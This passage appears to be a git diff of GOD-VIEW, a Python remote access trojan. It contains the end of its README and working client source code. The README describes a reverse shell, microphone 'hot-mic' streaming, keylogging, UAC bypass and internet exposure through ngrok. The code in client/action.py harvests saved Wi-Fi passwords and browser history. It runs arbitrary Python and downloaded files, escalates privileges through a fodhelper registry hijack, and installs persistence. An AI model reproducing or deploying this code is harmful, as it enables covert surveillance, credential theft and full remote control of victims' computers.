\[X,Y\]** + +**scroll \[X,Y\]** + +**mhold \[Mouse Button\]** + +**mrelease \[Mouse Button\]** + +**click \[Mouse Button\]** + +**dclick \[Mouse Button\]** + +*Unique flow control commands* + +* **sleep \[Seconds\]** +* **repeat \[Times\]** + * Repeats all subsequent actions for Z times, this is recursive & + * allows nested repeat statements. + +* **\[position / move / scroll\] random \[min X, max X,min Y,max Y\]** + * Can be used by any command taking an X & Y parameter, & + * requires instead of X & Y four values, for the minimum & + maximum random value for the X, respectively the Y. + +The injection command can be used to perform automated keyboard / mouse +activity, supporting recursive loops & random coordinates, making it +quite a powerful tool. **\[Inject\]** + +Next there is the python command, allowing the inline execution of +Python code. Everything that would be written to the terminal on the +client’s computer will instead be read on the server, making it +seamlessly natural. This command also supports, like injection, +execution from a file. **\[Python\]** + +Finally, arguably the most important command in GOD-VIEW, is the shell +command, allowing the remote execution of terminal commands. A reverse +shell, supporting all commands. Commands that do not return any data +will time out, after Z amount of time, therefore interactive programs +like Python or Node would simply timeout. **\[Shell\]** + +### Management +The management namespace is about simplifying tasks & specifying how the +program shall operate. This is done with the blacklist command by +allowing the rejection of specific connecting IP addresses. The alias +command allows the translation of a word written using the server's +terminal to a corresponding value. Then there is the very powerful +autotask command, giving great freedom & automation, for the simple +reason that any command that interacts with clients is supported. It +will perform the request upon connection of the client & write the +results to a text file. Finally, also one of the most important & +influential commands is the environment command. It holds a number of +variables that have a great impact on how the program will run, for +example alerting an email upon client connection. **\[Blacklist / Alias +/ Autotask / Environment\]** + +### Connection +The connection namespace focuses on the handling of anything that +specifically handles the connection or the file on the client’s +filesystem. Starting off by targeting persistence of the client program, +by having the program run even after the computer shuts off or the user +logs out. This is done with the autostart directory, to schedule a task, +or by adding an autostart registry key, these features are Windows +specific & won’t work on any other operating system & would require +other implementations. **\[Autostart\]** + +The session & delete commands allow specifying which clients to either +interact with or to remove. **\[Session / Delete\]** + +Additional quite straight forward commands are disconnect, reconnect & +uninstall. Disconnect might seem like the delete command just mentioned, +but has the specific difference in that it makes the client exit itself, +which won’t have the client reconnecting until it’s rerun, which delete +does not always guarantee. Uninstall removes all registry keys made for +persistence along with any autostart files & finally removes itself. +**\[Disconnect / Reconnect / Uninstall\]** + +Lastly we have an important command, only supported in Windows, again, +which is escalate. It will try to perform an user authentication bypass +(UAC) bypass, rerunning the program with administrative privileges +without ever having to ask the user. **\[Escalate\]** + +### Utility +The utility namespace is very straight forward, with a couple of +commands that support the general flow of the program. The build command +allows you to build GOD-VIEW into an executable program, being able to +build any file, specify the icon & if it should have a window or be a +background process. **\[Build\]** + +Next is the note command, this simply writes the data to a text file, +with an attached timestamp. **\[Note\]** + +The who command is especially neat for the terminal, as it will list +every single data point of a specific connected client. **\[Who\]** + +The gui command will simply reopen the desktop application, to be used +in case you close the window. **\[Gui\]** + +### Live +Live is one of the most challenging namespaces, these are the most +powerful commands GOD-VIEW has to offer, providing live streams of data, +each with their own socket connection. This holds a difficult challenge +of having different types of client connections to the server if the +server is to be only hosted on a single socket, or if multiple sockets +should be opened on the server for each one of these live streams of +data. You also have the problem of not wanting the client to be able to +dictate when a certain stream of data should be opened, as the client +has to connect to the server first. The solution was a token-like +system, generating a universally unique id on the server side, allowing +the connection with this token to be accepted if sent by the client +within X amount of time, of which the token is valid, this requires the +server to always initiate the request of a specific connection type from +the client & is a great solution for the reason of only requiring a +single server socket. + +The audio command enables the microphone, allowing a live audio stream +of the microphone to the server & be directly streamed to the default +output device. Making the client a hot-mic. + +The next command is desktop, it provides an extremely powerful & +relatively smooth stream, the FPS is not going to be the highest, the +performance will be based on the screen size & the power of the +computer. It’s optimized for performance, but because it uses PNG +compression, it does not support lowering the resolution, which can make +the stream performance very image-size dependent. The stream is +optimized by splitting up the work of taking the screenshot & sending +it, making it more resource intensive, but with performance +improvements, but is still throttled by the TCP-protocol bottleneck. +**\[Desktop\]** + +The modules command provides an overview of all running live streams, +with the ability to close any stream. **\[Modules\]** + +The webcam command works very similar to desktop & usually has very good +performance, this is because the webcam size is usually a lot smaller, +making the frame rate much higher. This is only supported on Windows +though, because it’s not utilizing opencv, to avoid bloating the program +on the client side, instead a library called VideoCapture is used, which +uses the Windows DirectShow API. **\[Webcam\]** + +Finally we have the logger commands, keylogger & clipper. These commands +record keystrokes & the clipboard data to be written to files on the +server, providing client side timestamps & fair representation of +performed actions. **\[Keylogger / Clipper\]** + +### Multiplex +The multiplex namespace has only two commands, all & close. These will +simply add every connected client to the session or remove every single +client from the session. **\[All / Close\]** + +### Terminal +This namespace refers to commands that are primarily used in the +terminal of the server, as it’s features are utilized by default in the +desktop / web GUI. Alternatively are they specifically to be used only +by the terminal. The clear command simply clears out the terminal, the +help command lists all available commands, listing their names, +arguments & all the data necessary about the command to be used. Then we +have the list command, which lists data about all the connected clients +& finally the exit command which simply closes the program. **\[Clear / +Help / List / Exit\]** + +The Different Ways of Running GOD-VIEW +--------------------------------------- + +The GOD-VIEW program accepts a few command line arguments. These are to +specify the type of way you want to run the program, but cannot be given +the freedom to be changed like environment variables during runtime. +These are the -TERMINAL argument, which only runs the terminal of the +server, without the desktop / web GUI. Then there is the -WEB argument, +which will run the program with the terminal, but also hosts the web +GUI, this will limit some functionality, but can be used in the case +that the primary usage will be with a browser. The disabled features are +to show screenshots / snapshots taken, nor can the desktop, audio or +webcam command be used. By default GOD-VIEW runs as both a terminal & +desktop / web GUI. + +You can specify the address with -IP, TCP port with -PORT & the HTTP +port by specifying -GUI\_PORT. You may also specify the -SECRET & -SALT +of the symmetric encryption key to be used by the server. + +The desktop / web GUI does not support exactly every command, you cannot +exit from the GUI, it’s only available to the terminal, you can also not +clear the terminal window of the server on the desktop / web GUI. + +There are slight limitations when running the client as a non-executable +file. You cannot do anything that requires the executable file to exist. +This includes autostart, reconnect, uninstall & escalate. + +Program / File Structure +------------------------ + +**host.py** +* Starts the server threads, this includes hosting the TCP server, the + * messaging thread & the desktop / web HTTP server. + +**bot.py** +* Starting the main thread, connecting to the remote server, which is + * started by running the host.py file. + +**archive** +* Contains all program data, server logs, database file & client + * specific files. The files are automatically generated & the file + * structure organized as such, this file can be deleted at any time, + * without ever disturbing anything during runtime. + +**build** +* Files that are related to running & installing the program & acts as + * a miscellaneous directory. + +**gui** +* The necessary desktop / web GUI production build files, required to + * be in the root directory of which the program is run. + +**exe** +* Stores the executable build files generated using the build command. + +**client** +* Stores client specific behaviour & implementations. To support all + * the client functionality & to fulfill requests. + +**server** +* The server specific files, but also the GUI application. This is a + * large majority of the program, as this handles everything, not + * just following directions like the client. + +**shared** +* Files that both the client & server can share, to reuse the same + * implementations, this has a lot to do with sending & receiving the + * data & shared state. + +GOD-VIEW Outside of the Local Network +------------------------------------- + +To be able for remote connections to be made to the server & to host the +server for the internet is quite simple. With three alternatives, either +use a port tunneling service like ngrok, which practically does the port +forwarding for you. The second choice is to do the port forwarding of +your router yourself. The third option would be to remotely host the +program & enable the -WEB command line argument. + +**Ngrok** +* Download ngrok at [*https://ngrok.com*](https://ngrok.com) +* Make sure ngrok is in the path variable or in your current directory +* **ngrok tcp -region=eu 5658** + * Running this makes the TCP server available to the internet. +* **ngrok http -region=us 8565** + * Running this makes the HTTP web GUI available to the internet. + +After this, you would simply change the *Static.IP* & *Static.PORT* in +the *GOD-VIEW/client/state.py* file to the IP & port ngrok redirects +traffic from, for example *tcp.eu.ngrok.io* & *1832*. Note that if +you’re using ngrok to access the web application, it does not support +HTTPS, so you have to use the HTTP version. This is sadly the library +limitation of which is used for the GUI. + +What GOD-VIEW Doesn’t Implement +------------------------------- + +There are things not implemented, this is because it might not fit the +flow of the program, it requires third-party libraries not worth using +for the features it would bring. The Python language has difficulty +implementing certain features neatly, or it’s difficult to implement +cross-platform solutions for. + +Real-Time Messaging Protocol (RTMP) server, supporting real time +streaming. There are great servers for RTMP, one of them being +Node-Media-Server +([*https://github.com/illuspas/Node-Media-Server*](https://github.com/illuspas/Node-Media-Server)), +but uses NodeJS which makes it difficult to implement interactions with +the server. But it also requires large streaming libraries, most +commonly used being FFMPEG, which is a big hassle. But the GOD-VIEW GUI +still allows you to read RTMP streams supporting flv.js +([*https://github.com/Bilibili/flv.js*](https://github.com/Bilibili/flv.js)) +using the sidebar. + +Another feature not implemented is a true remote desktop, most likely +not terribly difficult to implement using the pywin32 library, but +because it might clutter the flow of the program & also focuses a lot on +specifically Windows only functionality, it’s not been tested or +implemented. + +Toast notifications, with my will of not using the pywin32 library being +strong as it would simply put so much focus & possibility to Windows +only functionality. GOD-VIEW worked around these problems with +notifications by implementing server terminal connection notifications, +the possibility for email notifications & GUI notifications with audio +sound & a visual alert. + +GOD-VIEW avoided a lot of the malicious intent features, such as more +extensive password grabbers / cookie stealers, specific features +targeting DDOS attacks & reverse proxies. Simply because of the lack of +need for any of these features, interest in them. It does not include +anything to do with encryption of files, as it’s simply not the intent +of the program. + +Avoiding more \~basic features, such as the active window for the +keylogger / clipper & fun functions, changing wallpaper, playing sounds, +CD-popout along with other things, are not implemented as I cannot be +bothered, a lot of these require operating system specific +implementations or Windows only implementations & the pywin32 library. +Still wanting to hold most functionality cross-platform. + +Lastly, what's not implemented is any virtual machine (VM) detection & +obfuscation. This is also not the intent of the program, but also, +especially VM detection from what I've seen are implementations +supporting Windows only. The program does not try to obfuscate anything, +it’s written in Python, not C, C++, C\# or Delphi. It can be done, but +has very little purpose to be supported by GOD-VIEW. diff --git a/archive/scripts/injection_scripts_here.txt b/archive/scripts/injection_scripts_here.txt new file mode 100644 index 0000000..e69de29 diff --git a/archive/scripts/python_scripts_here.py b/archive/scripts/python_scripts_here.py new file mode 100644 index 0000000..e69de29 diff --git a/archive/uploads/files_to_upload_here.txt b/archive/uploads/files_to_upload_here.txt new file mode 100644 index 0000000..e69de29 diff --git a/bot.py b/bot.py new file mode 100644 index 0000000..fdf45cb --- /dev/null +++ b/bot.py @@ -0,0 +1,28 @@ +# Lines: ~1885 (+ 386 Shared) +from client.state import ClientStatic +from shared.state import Static + +try: + Static.setup() + ClientStatic.setup() +except OSError: + import sys + sys.exit() + +from client.socket import ClientSocket +from client.error import ClientError +from shared.helper import Helper + + +class Client: + + def __init__(self): + Helper.clear_pyinstaller_temp() + + @ClientError.critical + def run(self): + ClientSocket().connect() + + +if __name__ == '__main__': + Client().run() diff --git a/build/GOD-VIEW.pdf b/build/GOD-VIEW.pdf new file mode 100644 index 0000000..09aa383 Binary files /dev/null and b/build/GOD-VIEW.pdf differ diff --git a/build/gv-design.png b/build/gv-design.png new file mode 100644 index 0000000..ef7f49c Binary files /dev/null and b/build/gv-design.png differ diff --git a/build/gv-model.png b/build/gv-model.png new file mode 100644 index 0000000..11a349b Binary files /dev/null and b/build/gv-model.png differ diff --git a/build/gv.ico b/build/gv.ico new file mode 100644 index 0000000..90cfd3d Binary files /dev/null and b/build/gv.ico differ diff --git a/build/requirements.txt b/build/requirements.txt new file mode 100644 index 0000000..ba11084 --- /dev/null +++ b/build/requirements.txt @@ -0,0 +1,12 @@ +pyinstaller==4.1 +browser-history +pynput==1.6.8 +opencv-python +cryptography +pyperclip +colorama +psutil +GPUtil +numpy +mss +eel diff --git a/build/requirements_wheels.txt b/build/requirements_wheels.txt new file mode 100644 index 0000000..9d33a3b --- /dev/null +++ b/build/requirements_wheels.txt @@ -0,0 +1,2 @@ +https://www.lfd.uci.edu/~gohlke/pythonlibs/#videocapture +https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyaudio diff --git a/client/action.py b/client/action.py new file mode 100644 index 0000000..e67e327 --- /dev/null +++ b/client/action.py @@ -0,0 +1,772 @@ +''' + Functions called upon request specific actions, both + defined server & client side & correctly registered. + Constitutes the majority of the client's work. + + Verified: 2020 December 30 & 2021 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * VideoCapture (Windows) + * browser-history + * pyperclip + * GPUtil + * psutil + * pynput + * mss +''' + +from client.modules.keylogger import Keylogger +from client.modules.desktop import Desktop +from client.modules.clipper import Clipper +from client.modules.audio import Audio +from client.state import ClientStatic +from client.error import ClientError +from shared.helper import Helper +from shared.state import Static +from client.shell import Shell +from shared.error import Error +from shared.data import Data + +import urllib.request +import contextlib +import webbrowser +import mss.tools +import pyperclip +import zipfile +import random +import GPUtil +import psutil +import pynput +import time +import mss +import io +import os + +import browser_history +# NOTE : Disable the default logging of the library +browser_history.utils.logger.removeHandler( + browser_history.utils.handler) + +if Static.WINDOWS: + from client.modules.webcam import Webcam, Capture + + import ctypes + import vidcap + import re + + @Error.quiet_thread + def alert_action(title, text, symbol): + ctypes.windll.user32.MessageBoxW(0, text, title, symbol) + + if Static.EXE: + from client.autostart import (AutoShell, + AutoRegistry, + AutoSchedule) + + import winreg + + class Escalate: + + __REG_PATH = r'Software\Classes\ms-settings\shell\open\command' + __FOD_HELPER = r'C:\Windows\System32\fodhelper.exe' + __DELEGATE_EXEC_REG_KEY = 'DelegateExecute' + + @staticmethod + def __create_reg_key(key, value): + winreg.CreateKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH) + reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, + Escalate.__REG_PATH, + 0, winreg.KEY_WRITE) + winreg.SetValueEx(reg_key, key, 0, winreg.REG_SZ, value) + winreg.CloseKey(reg_key) + + @staticmethod + def __delete_reg_key(): + winreg.DeleteKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH) + + @staticmethod + def start(): + Escalate.__create_reg_key( + Escalate.__DELEGATE_EXEC_REG_KEY, None) + Escalate.__create_reg_key(None, Static.ROOT) + os.system(Escalate.__FOD_HELPER) + Escalate.__delete_reg_key() + + +class Recover: + + if Static.WINDOWS: + @staticmethod + def wifi(): + headers, values = ('SSID', 'Authentication', 'Cipher', + 'Security Key', 'Password'), [] + + networks = Shell.run('netsh wlan show profile', True) + network_names = re.findall(r'(?:Profile\s*:\s)(.*)', networks) + + for network_name in network_names: + try: + data = Shell.run( + 'netsh wlan show profile {} key=clear'.format( + network_name), True) + + values.append(( + re.findall(r'(?:SSID name\s*:\s)(.*)', data)[0][1:-1], + re.findall(r'(?:Authentication\s*:\s)(.*)', data)[0], + re.findall(r'(?:Cipher\s*:\s)(.*)', data)[0], + re.findall(r'(?:Security key\s*:\s)(.*)', data)[0], + re.findall(r'(?:Key Content\s*:\s)(.*)', data)[0])) + except Exception: + pass + + return (values, headers) + + @staticmethod + def history(): + result = 'Row,Timestamp,URL\n' + + for row, (timestamp, url) in enumerate( + browser_history.get_history().histories, 1): + result += '{},{},{}\n'.format( + row, Helper.timestamp(timestamp), url) + + return result + + @staticmethod + def bookmark(): + result = 'Row,Timestamp,URL,Title,Folder\n' + + for row, (timestamp, url, title, folder) in enumerate( + browser_history.get_bookmarks().bookmarks, 1): + result += '{},{},{},{},{}\n'.format( + row, Helper.timestamp(timestamp), url, title, folder) + + return result + + +class Sysinfo: + + __FACTOR = 1024 + + @staticmethod + def get_size(bolter, suffix='B'): + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bolter < Sysinfo.__FACTOR: + return f'{bolter:.2f}{unit}{suffix}' + + bolter /= Sysinfo.__FACTOR + + @staticmethod + def gpu(): + headers, values = ('ID', 'Name', 'Load', 'Free Memory', + 'Used Memory', 'Total Memory', + 'Temperature', 'UUID'), [] + + for gpu in GPUtil.getGPUs(): + values.append((gpu.id, gpu.name, f'{gpu.load * 100:.2f}%', + Sysinfo.get_size(gpu.memoryFree), + Sysinfo.get_size(gpu.memoryUsed), + Sysinfo.get_size(gpu.memoryTotal), + f'{gpu.temperature:.2f}C', gpu.uuid)) + + return (values, headers) + + @staticmethod + def cpu(): + cpu_frequency = psutil.cpu_freq() + + headers, values = ('CPU Tag', 'Value'), [ + ('Physical Cores', psutil.cpu_count(logical=False)), + ('Total Cores', psutil.cpu_count(logical=True)), + ('Max Frequency', f'{cpu_frequency.max:.2f}Mhz'), + ('Min Frequency', f'{cpu_frequency.min:.2f}Mhz'), + ('Current Frequency', f'{cpu_frequency.current:.2f}Mhz'), + ('Total CPU Usage', f'{psutil.cpu_percent():.2f}%')] + + for core, percentage in enumerate(psutil.cpu_percent( + percpu=True, interval=1), 1): + values.append((f'Core {core} Usage', f'{percentage:.2f}%')) + + return (values, headers) + + @staticmethod + def memory(): + virtual = psutil.virtual_memory() + swap = psutil.swap_memory() + + headers, values = ('Memory Tag', 'Value'), ( + ('Total Mem', Sysinfo.get_size(virtual.total)), + ('Available Mem', Sysinfo.get_size(virtual.available)), + ('Used Mem', Sysinfo.get_size(virtual.used)), + ('Percentage', f'{virtual.percent:.2f}%'), + ('Total Swap', Sysinfo.get_size(swap.total)), + ('Free Swap', Sysinfo.get_size(swap.free)), + ('Used Swap', Sysinfo.get_size(swap.used)), + ('Percentage Swap', f'{swap.percent:.2f}%')) + + return (values, headers) + + @staticmethod + def disk(): + headers, values = ('Device', 'Mountpoint', 'File System', + 'Total Size', 'Used', 'Free', 'Percentage'), [] + + for partition in psutil.disk_partitions(): + value = [partition.device, + partition.mountpoint, + partition.fstype] + + try: + partition_usage = psutil.disk_usage(partition.mountpoint) + except PermissionError: + for _ in range(4): + value.append('') + else: + value.append(Sysinfo.get_size(partition_usage.total)) + value.append(Sysinfo.get_size(partition_usage.used)) + value.append(Sysinfo.get_size(partition_usage.free)) + value.append(f'{partition_usage.percent:.2f}%') + + values.append(value) + + return (values, headers) + + @staticmethod + def network(): + headers, values = ('Interface', 'IP Address', 'MAC Address', + 'Netmask', 'Broadcast IP', 'Broadcast MAC'), [] + + for interface_name, interface_addresses \ + in psutil.net_if_addrs().items(): + + for address in interface_addresses: + value = [interface_name] + + if str(address.family) == 'AddressFamily.AF_INET': + value.append(address.address) + value.append('') + value.append(address.netmask) + value.append(address.broadcast) + value.append('') + elif str(address.family) == 'AddressFamily.AF_PACKET': + value.append('') + value.append(address.address) + value.append(address.netmask) + value.append('') + value.append(address.broadcast) + else: + for _ in range(5): + value.append('') + + values.append(value) + + return (values, headers) + + @staticmethod + def io(): + disk_io = psutil.disk_io_counters() + net_io = psutil.net_io_counters() + + headers, values = ('IO Type Total Since Boot', 'Value'), ( + ('File System Read', Sysinfo.get_size(disk_io.read_bytes)), + ('File System Write', Sysinfo.get_size(disk_io.write_bytes)), + ('Network Bytes Sent', Sysinfo.get_size(net_io.bytes_sent)), + ('Network Bytes Received', Sysinfo.get_size(net_io.bytes_recv))) + + return (values, headers) + + +class Process: + + @staticmethod + def tasklist(): + headers, values = ('PID', 'Name', 'Status', + 'CPU Usage', 'Memory Usage'), [] + + for process in psutil.process_iter(): + value = [process.ppid(), + process.name(), + process.status(), + f'{process.cpu_percent():.2f}%'] + + try: + value.append(Sysinfo.get_size( + process.memory_full_info().uss)) + except psutil.AccessDenied: + value.append('Access Denied') + + values.append(value) + + values.sort() + return (values, headers) + + @staticmethod + def network(): + headers, values = ('Local Address', 'Foreign Address', + 'Family', 'Protocol', 'Status', 'PID'), [] + + for process in psutil.net_connections(): + try: + laddr, raddr, family, addr_type = ('', '', + str(process.family), + str(process.type)) + if process.laddr: + laddr = '{}:{}'.format(*process.laddr) + + if process.raddr: + raddr = '{}:{}'.format(*process.laddr) + + if family.endswith('AF_INET'): + family = 'IPV4' + elif family.endswith('AF_INET6'): + family = 'IPV6' + else: + family = 'UNIX' + + if addr_type.endswith('SOCK_STREAM'): + addr_type = 'TCP' + elif addr_type.endswith('SOCK_DGRAM'): + addr_type = 'UDP' + else: + addr_type = 'SCTP' + + values.append((laddr, raddr, family, addr_type, + process.status, process.pid)) + except Exception: + pass + + values.sort() + return (values, headers) + + @staticmethod + def kill(pid): + psutil.Process(pid).kill() + + +class Inject: + + def __init__(self): + self.__keyboard = pynput.keyboard.Controller() + self.__mouse = pynput.mouse.Controller() + + def run(self, script): + for row, command in enumerate(script, 1): + command = command.split() + key, value = (command[0].lower(), + ' '.join(command[1:])) + + if key == 'repeat': + for _ in range(int(value)): + self.run(script[row:]) + else: + break + else: + self.__execute(key, value) + + def __execute(self, key, value): + if key == 'press': + result = self.__key(value) + self.__keyboard.press(result) + self.__keyboard.release(result) + elif key == 'hold': + self.__keyboard.press(self.__key(value)) + elif key == 'release': + self.__keyboard.release(self.__key(value)) + elif key == 'type': + self.__keyboard.type(value) + elif key == 'position': + self.__mouse.position = tuple(self.__x_y(value)) + elif key == 'move': + self.__mouse.move(*self.__x_y(value)) + elif key == 'scroll': + self.__mouse.scroll(*self.__x_y(value)) + elif key == 'mhold': + self.__mouse.press(self.__button(value)) + elif key == 'mrelease': + self.__mouse.release(self.__button(value)) + elif key == 'click': + result = self.__button(value) + self.__mouse.press(result) + self.__mouse.release(result) + elif key == 'dclick': + self.__mouse.click(self.__button(value), 2) + elif key == 'sleep': + time.sleep(float(value)) + else: + raise SyntaxError('Injection Syntax Error') + + def __x_y(self, value): + values = value.split() + + if values[0].lower() == 'random': + numbers = [int(pos) for pos in + ' '.join(values[1:]).split(',')] + return (random.randint(*numbers[:2]), + random.randint(*numbers[2:4])) + else: + return (int(pos) for pos in value.split(',')) + + def __button(self, value): + return eval(f'pynput.mouse.Button.{value}') + + def __key(self, value): + return eval(f'pynput.keyboard.Key.{value}') + + +@ClientError.general +def clipboard(request): + request, store = Helper.store(request, ('copy', 'empty')) + + if store.copy: + pyperclip.copy(store.copy) + return Data.parse('Copied to clipboard', + status=Static.SUCCESS) + elif store.empty: + pyperclip.copy('') + return Data.parse('Clipboard emptied', + status=Static.SUCCESS) + else: + return Data.parse(pyperclip.paste(), raw=True) + + +@ClientError.general +def screenshot(request): + request, store = Helper.store(request, ('monitor',)) + assert type(store.monitor) is int, 'Client Argument Error' + + with mss.mss() as sct: + size = sct.monitors[store.monitor] + raw_bytes = sct.grab(size) + raw_bytes = mss.tools.to_png(raw_bytes.rgb, + raw_bytes.size) + + return Data.parse('Screenshot taken (monitor {}, {}x{})'.format( + store.monitor, size['width'], size['height']), + status=Static.SUCCESS, + custom=Data.b64encode(raw_bytes)) + + +@ClientError.general +def snapshot(request): + if Static.WINDOWS: + request, store = Helper.store(request, ('device',)) + assert (type(store.device) is int + and store.device > 0), 'Client Argument Error' + + device = vidcap.new_Dev(store.device - 1, False) + buffer, width, height = device.getbuffer() + raw_bytes = mss.tools.to_png(buffer, (width, height)) + + return Data.parse('Snapshot taken (device {}, {}x{}, {})'.format( + store.device, width, height, device.getdisplayname()), + status=Static.SUCCESS, + custom=Data.b64encode(raw_bytes)) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def python(request): + request, store = Helper.store(request, ('exec',)) + assert store.exec, 'Client Argument Error' + + buffer = io.StringIO() + + with contextlib.redirect_stdout(buffer): + exec(store.exec) + + return Data.parse(buffer.getvalue(), raw=True) + + +@ClientError.general +def inject(request): + request, store = Helper.store(request, ('exec', 'unblock')) + assert store.exec and type(store.exec) is list, 'Client Argument Error' + + if store.unblock: + Helper.thread(Error.quiet_thread(Inject().run), store.exec) + return Data.parse('Injection started', status=Static.INFO) + else: + Inject().run(store.exec) + return Data.parse('Injection complete', + status=Static.SUCCESS) + + +@ClientError.general +def browse(request): + request, store = Helper.store(request, ('url',)) + assert store.url and type(store.url) is list, 'Client Argument Error' + + for url in store.url: + webbrowser.open(url, 1) + + return Data.parse('URL{} opened'.format( + Helper.plural(store.url)), status=Static.SUCCESS) + + +@ClientError.general +def alert(request): + request, store = Helper.store(request, ('title', 'text', 'symbol')) + assert all((store.title, store.text, + store.symbol in (16, 32, 48, 64))), 'Client Argument Error' + + if Static.WINDOWS: + Helper.thread(alert_action, store.title, + store.text, store.symbol) + return Data.parse('Messagebox shown', + status=Static.SUCCESS) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def system(request): + request, store = Helper.store(request, ('shutdown', 'restart', + 'logout', 'hibernate', + 'standby')) + assert any((store.shutdown, store.restart, + store.logout, store.hibernate, + store.standby)), 'Client Argument Error' + + if Static.WINDOWS: + if store.shutdown: + os.system('shutdown /p /f') + return Data.parse('Shutdown complete', + status=Static.SUCCESS) + elif store.restart: + os.system('shutdown /r /f /t 0') + return Data.parse('Restart complete', + status=Static.SUCCESS) + elif store.logout: + os.system('shutdown /l /f') + return Data.parse('Logout complete', + status=Static.SUCCESS) + elif store.hibernate: + os.system('shutdown /h') + return Data.parse('Hibernate complete', + status=Static.SUCCESS) + else: + os.system('rundll32.exe powrprof.dll,SetSuspendState 0,1,0') + return Data.parse('Standby complete', + status=Static.SUCCESS) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def download(request): + request, store = Helper.store(request, ('file', 'dir')) + assert store.file or store.dir, 'Client Argument Error' + + if store.file: + assert os.path.isfile(store.file), 'File Not Found' + return Data.parse(f'Download complete ({store.file})', + status=Static.SUCCESS, + custom=Data.b64encode(Helper.read_file( + store.file, Helper.READ_BYTES))) + else: + assert os.path.isdir(store.dir), 'Directory Not Found' + + buffer = io.BytesIO() + relroot = os.path.abspath( + os.path.join(store.dir, os.pardir)) + + with zipfile.ZipFile(buffer, Helper.WRITE, + zipfile.ZIP_DEFLATED) as archive: + for root, _, files in os.walk(store.dir): + archive.write(root, os.path.relpath(root, relroot)) + + for file in files: + filename = os.path.join(root, file) + + if os.path.isfile(filename): + arcname = os.path.join( + os.path.relpath(root, relroot), file) + archive.write(filename, arcname) + + return Data.parse(f'Download complete ({store.dir})', + status=Static.SUCCESS, + custom=Data.b64encode(buffer.getvalue())) + + +@ClientError.general +def upload(request): + request, store = Helper.store(request, ('file', 'url', + 'execute', 'custom')) + assert store.url or (store.file and store.custom), 'Client Argument Error' + + if store.file: + Helper.write_file(store.file, Data.b64decode( + store.custom), Helper.WRITE_BYTES) + + if store.execute: + Helper.start(store.file) + + return Data.parse(f'Upload complete ({store.file})', + status=Static.SUCCESS) + else: + filename = os.path.split(store.url)[1] + Helper.write_file(filename, urllib.request.urlopen( + store.url).read(), Helper.WRITE_BYTES) + + if store.execute: + Helper.start(filename) + + return Data.parse(f'URL upload complete ({store.url})', + status=Static.SUCCESS) + + +@ClientError.general +def escalate(request): + assert Static.EXE, 'Requires Executable Build' + + if Static.WINDOWS: + Escalate.start() + return Data.parse('Escalation started', + status=Static.INFO) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def autostart(request): + assert Static.EXE, 'Requires Executable Build' + + request, store = Helper.store(request, ('shell', 'registry', 'schedule')) + assert any((store.shell, store.registry, + store.schedule)), 'Client Argument Error' + + if Static.WINDOWS: + if store.shell: + AutoShell.install() + return Data.parse('Added to startup directory', + status=Static.SUCCESS) + elif store.registry: + AutoRegistry.install() + return Data.parse('Added to registry startup', + status=Static.SUCCESS) + else: + AutoSchedule.install() + return Data.parse('Added to task scheduler', + status=Static.SUCCESS) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def recover(request): + request, store = Helper.store(request, ('wifi', 'history', 'bookmark')) + assert any((store.wifi, store.history, + store.bookmark)), 'Client Argument Error' + + if store.wifi: + if Static.WINDOWS: + return Data.message(Recover.wifi()) + else: + raise OSError('Feature Not Available') + elif store.history: + return Data.parse('History downloaded', + status=Static.SUCCESS, + custom=Recover.history()) + else: + return Data.parse('Bookmarks downloaded', + status=Static.SUCCESS, + custom=Recover.bookmark()) + + +@ClientError.general +def process(request): + request, store = Helper.store(request, ('kill', 'tasklist', 'network')) + assert any((store.kill, store.tasklist, + store.network)), 'Client Argument Error' + + if store.tasklist: + return Data.message(Process.tasklist()) + elif store.network: + return Data.message(Process.network()) + else: + Process.kill(int(store.kill)) + return Data.parse(f'Process killed ({store.kill})', + status=Static.SUCCESS) + + +@ClientError.general +def sysinfo(request): + request, store = Helper.store(request, ('gpu', 'cpu', 'memory', + 'disk', 'network', 'io')) + assert any((store.gpu, store.cpu, store.memory, store.disk, + store.network, store.io)), 'Client Argument Error' + + if store.gpu: + return Data.message(Sysinfo.gpu()) + elif store.cpu: + return Data.message(Sysinfo.cpu()) + elif store.memory: + return Data.message(Sysinfo.memory()) + elif store.disk: + return Data.message(Sysinfo.disk()) + elif store.network: + return Data.message(Sysinfo.network()) + else: + return Data.message(Sysinfo.io()) + + +@ClientError.general +def desktop(request): + request, store = Helper.store(request, ('monitor', 'token')) + assert type(store.monitor) is int and store.token, \ + 'Client Argument Error' + + Desktop(store.token).live(store.monitor) + return Data.parse(f'Desktop stream started (monitor {store.monitor})', + status=Static.INFO) + + +@ClientError.general +def webcam(request): + if Static.WINDOWS: + request, store = Helper.store(request, ('device', 'token')) + assert (type(store.device) is int and store.device > 0 + and store.token), 'Client Argument Error' + + device = vidcap.new_Dev(store.device - 1, False) + ClientStatic.WEBCAM[store.token] = Capture(device) + Webcam(store.token).live() + + return Data.parse('Webcam stream started (device {}, {})'.format( + store.device, device.getdisplayname()), status=Static.INFO) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def audio(request): + request, store = Helper.store(request, ('channels', 'rate', 'token')) + assert (type(store.channels) is int and type(store.rate) is int + and store.token), 'Client Argument Error' + + Audio(store.token).live(store.channels, store.rate) + return Data.parse('Audio stream started', + status=Static.INFO) + + +@ClientError.general +def keylogger(request): + request, store = Helper.store(request, ('token',)) + assert store.token, 'Client Argument Error' + + Keylogger(store.token).live() + return Data.parse('Keylogger started', + status=Static.INFO) + + +@ClientError.general +def clipper(request): + request, store = Helper.store(request, ('token',)) + assert store.token, 'Client Argument Error' + + Clipper(store.token).live() + return Data.parse('Clipper started', + status=Static.INFO) diff --git a/client/autostart.py b/client/autostart.py new file mode 100644 index 0000000..d980a06 --- /dev/null +++ b/client/autostart.py @@ -0,0 +1,73 @@ +''' + Handles multiple powerful persistence + alternatives with classes that install + & uninstall these methods. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static + +import os 